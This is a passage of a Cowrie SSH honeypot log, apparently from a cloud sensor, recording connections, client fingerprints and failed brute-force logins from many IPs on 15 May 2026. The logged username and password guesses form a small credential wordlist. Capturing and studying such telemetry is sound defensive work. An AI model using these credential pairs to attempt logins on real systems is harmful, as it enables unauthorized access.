f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:21:52.597797Z","src_ip":"159.195.79.219","session":"e3622ba84e92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"traxdata","message":"login attempt [root/traxdata] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:21:52.996119Z","src_ip":"159.195.79.219","session":"e3622ba84e92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:21:53.077010Z","src_ip":"81.192.46.49","session":"8f7b4c5e068e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:21:54.090709Z","src_ip":"159.195.79.219","session":"e3622ba84e92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"175.107.32.186","src_port":26915,"dst_ip":"10.17.0.5","dst_port":22,"session":"823d9cc5d1ee","protocol":"ssh","message":"New connection: 175.107.32.186:26915 (10.17.0.5:22) [session: 823d9cc5d1ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:21:54.842422Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:21:54.851285Z","src_ip":"175.107.32.186","session":"823d9cc5d1ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:21:55.069718Z","src_ip":"175.107.32.186","session":"823d9cc5d1ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd-sync","password":"warnight","message":"login attempt [systemd-sync/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:21:55.977381Z","src_ip":"175.107.32.186","session":"823d9cc5d1ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"220.205.122.34","src_port":5097,"dst_ip":"10.17.0.5","dst_port":22,"session":"fdeb77fd386a","protocol":"ssh","message":"New connection: 220.205.122.34:5097 (10.17.0.5:22) [session: fdeb77fd386a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:21:55.996017Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:21:56.001347Z","src_ip":"220.205.122.34","session":"fdeb77fd386a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:21:56.234121Z","src_ip":"220.205.122.34","session":"fdeb77fd386a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pinto","message":"login attempt [root/pinto] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:21:57.196571Z","src_ip":"220.205.122.34","session":"fdeb77fd386a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:21:57.202209Z","src_ip":"175.107.32.186","session":"823d9cc5d1ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:21:58.432904Z","src_ip":"220.205.122.34","session":"fdeb77fd386a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.0.200.227","src_port":43254,"dst_ip":"159.203.135.109","dst_port":22,"session":"283adefd145b","protocol":"ssh","message":"New connection: 107.0.200.227:43254 (159.203.135.109:22) [session: 283adefd145b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:22:04.333848Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:22:04.342312Z","src_ip":"107.0.200.227","session":"283adefd145b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:22:04.373596Z","src_ip":"107.0.200.227","session":"283adefd145b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"%domain!@#$%","message":"login attempt [root/%domain!@#$%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:22:04.527478Z","src_ip":"107.0.200.227","session":"283adefd145b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.153.231.45","src_port":54586,"dst_ip":"159.203.135.109","dst_port":22,"session":"45a836c81fde","protocol":"ssh","message":"New connection: 185.153.231.45:54586 (159.203.135.109:22) [session: 45a836c81fde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:22:04.747457Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:22:04.752370Z","src_ip":"185.153.231.45","session":"45a836c81fde","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:22:04.885577Z","src_ip":"185.153.231.45","session":"45a836c81fde","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tejas","password":"tejas@123","message":"login attempt [tejas/tejas@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:22:05.450310Z","src_ip":"185.153.231.45","session":"45a836c81fde","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:22:05.559426Z","src_ip":"107.0.200.227","session":"283adefd145b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:22:06.588125Z","src_ip":"185.153.231.45","session":"45a836c81fde","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":59430,"dst_ip":"159.203.135.109","dst_port":22,"session":"0dbdee2da87b","protocol":"ssh","message":"New connection: 194.59.206.2:59430 (159.203.135.109:22) [session: 0dbdee2da87b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:22:20.000948Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:22:20.063966Z","src_ip":"194.59.206.2","session":"0dbdee2da87b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:22:20.105841Z","src_ip":"194.59.206.2","session":"0dbdee2da87b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:22:20.264527Z","src_ip":"194.59.206.2","session":"0dbdee2da87b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.61.187.220","src_port":53562,"dst_ip":"159.203.135.109","dst_port":22,"session":"91c64360014d","protocol":"ssh","message":"New connection: 45.61.187.220:53562 (159.203.135.109:22) [session: 91c64360014d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:22:27.217567Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:22:27.226432Z","src_ip":"45.61.187.220","session":"91c64360014d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:22:27.267969Z","src_ip":"45.61.187.220","session":"91c64360014d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"shrvn6xd","password":"KZ+1E0C~_qz+E2wt64ko","message":"login attempt [shrvn6xd/KZ+1E0C~_qz+E2wt64ko] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:22:27.481312Z","src_ip":"45.61.187.220","session":"91c64360014d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:22:28.529754Z","src_ip":"45.61.187.220","session":"91c64360014d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.163.125","src_port":54828,"dst_ip":"159.203.135.109","dst_port":22,"session":"ad60cfc62c01","protocol":"ssh","message":"New connection: 66.113.163.125:54828 (159.203.135.109:22) [session: ad60cfc62c01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:22:36.911919Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:22:36.916292Z","src_ip":"66.113.163.125","session":"ad60cfc62c01","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:22:36.956669Z","src_ip":"66.113.163.125","session":"ad60cfc62c01","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QWERTY!@","message":"login attempt [root/QWERTY!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:22:37.143508Z","src_ip":"66.113.163.125","session":"ad60cfc62c01","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:22:38.190464Z","src_ip":"66.113.163.125","session":"ad60cfc62c01","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.153.231.45","src_port":50324,"dst_ip":"159.203.135.109","dst_port":22,"session":"d9fe339191ff","protocol":"ssh","message":"New connection: 185.153.231.45:50324 (159.203.135.109:22) [session: d9fe339191ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:22:45.116690Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:22:45.122043Z","src_ip":"185.153.231.45","session":"d9fe339191ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:22:45.251129Z","src_ip":"185.153.231.45","session":"d9fe339191ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux123","message":"login attempt [root/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:22:45.796631Z","src_ip":"185.153.231.45","session":"d9fe339191ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:22:46.928998Z","src_ip":"185.153.231.45","session":"d9fe339191ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.90.185.16","src_port":65105,"dst_ip":"159.203.135.109","dst_port":22,"session":"40a377384cab","protocol":"ssh","message":"New connection: 77.90.185.16:65105 (159.203.135.109:22) [session: 40a377384cab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:22:47.861745Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:22:47.975264Z","src_ip":"77.90.185.16","session":"40a377384cab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.191.96.70","src_port":51522,"dst_ip":"10.17.0.5","dst_port":22,"session":"660c04b52e57","protocol":"ssh","message":"New connection: 92.191.96.70:51522 (10.17.0.5:22) [session: 660c04b52e57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:22:50.211015Z"}
